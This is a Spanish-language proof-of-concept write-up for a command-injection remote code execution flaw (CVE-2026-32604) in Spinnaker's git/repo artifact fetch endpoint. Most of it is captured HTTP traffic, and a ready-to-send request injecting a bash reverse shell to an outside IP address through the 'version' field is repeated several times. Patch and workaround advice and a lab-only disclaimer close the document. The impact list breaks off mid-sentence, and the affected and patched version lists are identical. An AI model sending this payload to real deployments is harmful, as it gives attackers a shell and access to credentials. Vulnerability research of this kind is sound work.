
Prueba de concepto de exploit para CVE-2026-32604, una RCE por inyección de comandos en el manejo de artefactos GitRepo de Spinnaker a través del campo version.
CVE-2026-32604 - Ejecución remota de código en Spinnaker a través del tipo de artefacto
git/repo.
Esta es una vulnerabilidad de inyección de comandos / ejecución remota de código en el manejo de artefactos GitRepo de Spinnaker.
La funcionalidad vulnerable permite que valores controlados por el usuario, suministrados a través del campo version de un artefacto git/repo, lleguen a la ejecución de comandos sin ser debidamente saneados.
El endpoint vulnerable es:
PUT /artifacts/fetch
La parte importante es que la aplicación expone el proveedor de artefactos git/repo a través de:
GET /artifacts/credentials
que devuelve:
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
Esto confirma que el tipo de artefacto git/repo está disponible.
La solicitud vulnerable se envía a:
PUT /artifacts/fetch
con un cuerpo JSON que contiene un artefacto de repositorio Git.
El parámetro version puede manipularse con sintaxis de shell.
Para las pruebas, utilicé:
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #
La solicitud completa capturada durante el PoC fue:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
El parámetro importante aquí es:
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"
La expresión de shell inyectada se añade después del valor esperado de rama/versión de Git.
El # se utiliza para comentar el resto del comando después de la expresión inyectada.
La solicitud fue aceptada por la aplicación vulnerable.
La respuesta HTTP capturada fue:
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
El punto relevante es que el tipo de artefacto vulnerable está presente y el valor malicioso de version es aceptado por el endpoint de obtención de artefactos.
Antes de probar el endpoint vulnerable, verifiqué que el objetivo estaba respondiendo:
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Respuesta:
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
{"status":"UP"}
El PoC es básicamente:
Target
│
├── GET /health
│ └── {"status":"UP"}
│
├── GET /artifacts/credentials
│ └── git/repo artifact type exposed
│
└── PUT /artifacts/fetch
│
├── type = git/repo
├── reference = attacker-controlled Git repository/reference
└── version = injected shell command
│
└── command execution
El problema no es simplemente que el endpoint acepte un nombre de rama de Git. El problema es que los datos del artefacto Git controlados por el atacante llegan a un contexto de ejecución de comandos sin estar restringidos de forma segura a la sintaxis esperada de versión/rama de Git.
Para una reproducción rápida, la solicitud principal es:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
El payload anterior está destinado únicamente a un entorno de laboratorio controlado.
La ruta vulnerable implica que la implementación del artefacto GitRepo procesa información de artefactos controlada por el atacante.
El valor esperado para version es algo similar a:
main
pero la aplicación no restringe suficientemente el valor a ese formato esperado.
En su lugar, se puede introducir sintaxis de shell:
main; <command> #
lo que cambia el significado del comando resultante.
Esto convierte una operación de obtención de artefactos en ejecución arbitraria de comandos en el contexto del servicio Clouddriver de Spinnaker vulnerable.
La explotación exitosa puede resultar en la ejecución arbitraria de comandos en el pod de Clouddriver afectado.
Dependiendo de los permisos y del entorno del pod comprometido, esto puede permitir potencialmente a un atacante:
El aviso oficial de Spinnaker señala específicamente que la explotación puede exponer credenciales, eliminar archivos o inyectar recursos.
Según el aviso de seguridad de Spinnaker, las líneas de versión afectadas incluyen versiones anteriores a:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
Las versiones parcheadas son:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
La vulnerabilidad está registrada como CVE-2026-32604 y está clasificada como CWE-20: Validación de entrada incorrecta.
Actualice Spinnaker a una versión parcheada.
El aviso upstream también indica deshabilitar el tipo de artefacto git/repo como workaround para instalaciones que no pueden actualizar inmediatamente.
Se deben utilizar las versiones actuales de Spinnaker siempre que sea posible en lugar de permanecer en una rama de versión afectada.
Este PoC se proporciona para investigación de seguridad, validación de vulnerabilidades y pruebas autorizadas.
Ejecútelo únicamente contra sistemas que posea o para los que tenga permiso explícito de prueba.
Probé la vulnerabilidad en un entorno de laboratorio aislado.